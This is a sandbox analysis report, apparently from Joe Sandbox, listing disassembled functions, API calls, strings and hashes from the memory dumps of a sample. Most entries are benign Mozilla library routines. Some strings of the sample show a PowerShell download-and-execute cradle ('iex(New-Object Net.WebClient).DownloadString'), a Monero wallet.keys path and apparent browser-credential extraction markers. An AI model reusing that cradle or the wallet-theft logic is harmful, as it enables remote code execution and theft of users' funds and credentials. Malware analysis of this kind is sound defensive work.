Function 6CEBF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CE84A68), ref: 6CEB945E
Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CEB9470
Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CEB9482
Part of subcall function 6CEB9420: __Init_thread_footer.LIBCMT ref: 6CEB949F

GetCurrentThreadId.KERNEL32 ref: 6CEBF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEBF561

Part of subcall function 6CEB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CEB94EE
Part of subcall function 6CEB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CEB9508

GetCurrentThreadId.KERNEL32 ref: 6CEBF577
AcquireSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CEBF585
ReleaseSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CEBF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CEBF3A8
[I %d/%d] profiler_resume, xrefs: 6CEBF239
[I %d/%d] profiler_resume_sampling, xrefs: 6CEBF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CEBF56A

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 015b1c7964b48fefa25ab0353070d18f3edb6a191e3aeeaa8eb5420c12f35c00
Instruction ID: 5c7e2ebde4302491879be404758e7c1bd72327950b3fb78d5e469640e5804640
Opcode Fuzzy Hash: 015b1c7964b48fefa25ab0353070d18f3edb6a191e3aeeaa8eb5420c12f35c00
Instruction Fuzzy Hash: ECF0B47AA002449BEB006F64AC4896E77BDEBC625DF200015EA2597701DB394C01C775

Function 6CEB05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CEACFAE,?,?,?,6CE731A7), ref: 6CEB05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CEACFAE,?,?,?,6CE731A7), ref: 6CEB0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CE731A7), ref: 6CEB061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CE731A7), ref: 6CEB0627

Strings

<jemalloc>, xrefs: 6CEB05FA, 6CEB060F
: (malloc) Error in VirtualFree(), xrefs: 6CEB061B, 6CEB0625

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 9400a1d9cacdadda4148453751e3e9d967460e5ee2a1d9fa257831cafb239b5f
Instruction ID: 2603c65bd48d195b7bb619cd5cae4373e3e8294e9e322a0ac0e55dc8c3a474b0
Opcode Fuzzy Hash: 9400a1d9cacdadda4148453751e3e9d967460e5ee2a1d9fa257831cafb239b5f
Instruction Fuzzy Hash: 58E08CE3A0101037F614225ABC86DBB7A2CDBCA574F18007AFD0D82301E94AAD1A51F6

Function 6CE805F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54bc10dc0b80b0b493eeae25378ca8de27fa4198f99afe66c406bcad64f29957
Instruction ID: 5c9a082d3b0f17885838c9a61f2514cf7c246b6dc166f2297635aa977bb2d935
Opcode Fuzzy Hash: 54bc10dc0b80b0b493eeae25378ca8de27fa4198f99afe66c406bcad64f29957
Instruction Fuzzy Hash: 54A17AB0A02745CFDB24CF29C584A99FBF1BF89304F64866ED45A97B00E735A985CF90

Function 6CED14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CED14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CED14E2
GetCurrentThreadId.KERNEL32 ref: 6CED1546
InitializeConditionVariable.KERNEL32(?), ref: 6CED15BA
free.MOZGLUE(?), ref: 6CED16B4

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 08596348174b6e109d8bc634a2ad981118878b4f09070374bed73c8f21f2b2f0
Instruction ID: b8f4f324445fe3a074028246e20098a09fe5b3b66e6df2c6354f8db386f53b53
Opcode Fuzzy Hash: 08596348174b6e109d8bc634a2ad981118878b4f09070374bed73c8f21f2b2f0
Instruction Fuzzy Hash: 9661FF76A007449FDB118F60C880BDEB7B1BF8A318F15851CED9A57701DB35E94ACB92

Function 6CECDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CECDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CECD38A,?), ref: 6CECDC6F
free.MOZGLUE(?,?,?,?,?,6CECD38A,?), ref: 6CECDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CECD38A,?), ref: 6CECDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CECD38A,?), ref: 6CECDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CECD38A,?), ref: 6CECDD4A

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 187511b0b4e805d7622f8933bfee53e43b4b0dfe0a664b8622e5c324b98f43f1
Instruction ID: b8e5e62e7972eb3d5b6ab4874a68f3fdae185e8911a6414651bde124a9792ace
Opcode Fuzzy Hash: 187511b0b4e805d7622f8933bfee53e43b4b0dfe0a664b8622e5c324b98f43f1
Instruction Fuzzy Hash: 5C415AB9B00205CFCB00CF99C98099ABBF5FF89318B654569D956ABB10DB32FD01CB91

Function 6CEAF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CEAF480

Part of subcall function 6CE7F100: LoadLibraryW.KERNEL32(shell32,?,6CEED020), ref: 6CE7F122
Part of subcall function 6CE7F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CE7F132

CloseHandle.KERNEL32(00000000), ref: 6CEAF555

Part of subcall function 6CE814B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CE81248,6CE81248,?), ref: 6CE814C9
Part of subcall function 6CE814B0: memcpy.VCRUNTIME140(?,6CE81248,00000000,?,6CE81248,?), ref: 6CE814EF

Part of subcall function 6CE7EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CE7EEE3

CreateFileW.KERNEL32 ref: 6CEAF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CEAF523

Strings

\oleacc.dll, xrefs: 6CEAF4CB

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 932cac58c63500e287e2e93dd6193416f00facaa798dc2446f407c23f3eb3108
Instruction ID: 402c074c3d7005401512cf3cb29b94210e6766c2b10f98af28bceb929c88ab57
Opcode Fuzzy Hash: 932cac58c63500e287e2e93dd6193416f00facaa798dc2446f407c23f3eb3108
Instruction Fuzzy Hash: 4341B3306087509FE720DFA9D884A9BB7F4AF85318F200A1CF5A597650EB34D94ACB92

Function 00532C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

ShellExecuteEx.SHELL32(0000003C), ref: 00532D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00532D04
')", xrefs: 00532CB3
<, xrefs: 00532D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00532CC4

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 610f82fb97dac79e52c7fae4d070780ab9895b85e113044212ec6eb4fbc48c8e
Instruction ID: 4f44a34fc5773282638284fee69b1729fe1652c26ca508964681ee690bd75723
Opcode Fuzzy Hash: 610f82fb97dac79e52c7fae4d070780ab9895b85e113044212ec6eb4fbc48c8e
Instruction Fuzzy Hash: CC41BE71C10209AADB14EFA0C89ABEDBF78BF54300F504119F156B7192EF746A4ACF92

Function 6CED74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CED7526
__Init_thread_footer.LIBCMT ref: 6CED7566
__Init_thread_footer.LIBCMT ref: 6CED7597

Strings

UnmapViewOfFile2, xrefs: 6CED7552
kernel32.dll, xrefs: 6CED7557

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8d89af449e9d60d82506751201c916d49f6873890521a4439fe61c70530dcffd
Instruction ID: f4d354baa8f97a6fc74dc5acd973f67c668d69b9939cf3e268ed79679a87ced8
Opcode Fuzzy Hash: 8d89af449e9d60d82506751201c916d49f6873890521a4439fe61c70530dcffd
Instruction Fuzzy Hash: 72210331B106409BCB158FE9D854E59B3B5EB87329B36052CE82587B80CB65B803CA96

Function 6CEDC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CEDC0E9), ref: 6CEDC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CEDC437
FreeLibrary.KERNEL32(?,6CEDC0E9), ref: 6CEDC44C

Strings

ntdll.dll, xrefs: 6CEDC413
NtQueryVirtualMemory, xrefs: 6CEDC431

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: ea1c0d126050ee16a325d656ecbe5b56a16cdfe791a4a06c303dc7187a753497
Instruction ID: 448d38ad78fa11a4e81999e8813f62715aa8ccfd30236af6d664dda0a1547344
Opcode Fuzzy Hash: ea1c0d126050ee16a325d656ecbe5b56a16cdfe791a4a06c303dc7187a753497
Instruction Fuzzy Hash: ACE0B671F113899BDF007F71EA097117FF8A78A349F544116AA24D2B00EBBDD001CB50

Function 6CED75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CED748B,?), ref: 6CED75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CED75D7
FreeLibrary.KERNEL32(?,6CED748B,?), ref: 6CED75EC

Strings

RtlNtStatusToDosError, xrefs: 6CED75D1
ntdll.dll, xrefs: 6CED75B3

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: d13e0cf823cb0d4535c4273a360674f970a0dc89da320d448f4ecb2598264a64
Instruction ID: 75a4690170eab498abecfabcee9c418b918f1f6de6f274ae9a5e8fd5e20c3576
Opcode Fuzzy Hash: d13e0cf823cb0d4535c4273a360674f970a0dc89da320d448f4ecb2598264a64
Instruction Fuzzy Hash: 7FE0BF71760305ABDF005FA1E848701FEF8E786318F204026A925D1780DF799062CF15

Function 00529E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00529F41

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00529E67
@, xrefs: 00529EF1
v10, xrefs: 00529EA3
v20, xrefs: 00529E21

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 8cb92c82d312570ab0c69e74d8a81cc0e867c518c5e5590f4714121a64a6913b
Instruction ID: 863c9b2bd1b7afd1bbc77a595cfc3be81389bb2f00f945a1856d4010f8a1633a
Opcode Fuzzy Hash: 8cb92c82d312570ab0c69e74d8a81cc0e867c518c5e5590f4714121a64a6913b
Instruction Fuzzy Hash: F1614F70A00259ABDB14EFA4DC9AFEE7B75BF85304F008518F90A5F1D1EB706A05CB51

Function 6CE74DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CE74E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CE74E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE74EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE74F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CE74F1E

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 7d2bd677e365cda371c7f0c2b11dc8900db0ae7a15273f03bc1889192eb3e1d4
Instruction ID: d906bf7d814dc0e47cc0dfcf3cb041763a19c495cb6060006628f563d8e33c73
Opcode Fuzzy Hash: 7d2bd677e365cda371c7f0c2b11dc8900db0ae7a15273f03bc1889192eb3e1d4
Instruction Fuzzy Hash: 7041AC716087059FC725CF28C88095BB7F4FF8A358F208A1EE4658B741D730E959CBA2

Function 6CE81530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CE8152B,?,?,?,?,6CE81248,?), ref: 6CE8159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CE8152B,?,?,?,?,6CE81248,?), ref: 6CE815BC
moz_xmalloc.MOZGLUE(-00000001,?,6CE8152B,?,?,?,?,6CE81248,?), ref: 6CE815E7
free.MOZGLUE(?,?,?,?,?,?,6CE8152B,?,?,?,?,6CE81248,?), ref: 6CE81606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CE8152B,?,?,?,?,6CE81248,?), ref: 6CE81637

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 2a352911a567e2b80c2d1c3b79113579e3059559678422a65e3c8fa697564aa8
Instruction ID: 10606147413df35f4e93c60ce3b15884ef04eb0c95396b4dbb499aedac9818df
Opcode Fuzzy Hash: 2a352911a567e2b80c2d1c3b79113579e3059559678422a65e3c8fa697564aa8
Instruction Fuzzy Hash: B231E872A011158BC7188FB8D85046E77B9BB863747340B6DE87BDBBD4EB30D9058792

Function 6CEDAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CEEE330,?,6CE9C059), ref: 6CEDAD9D

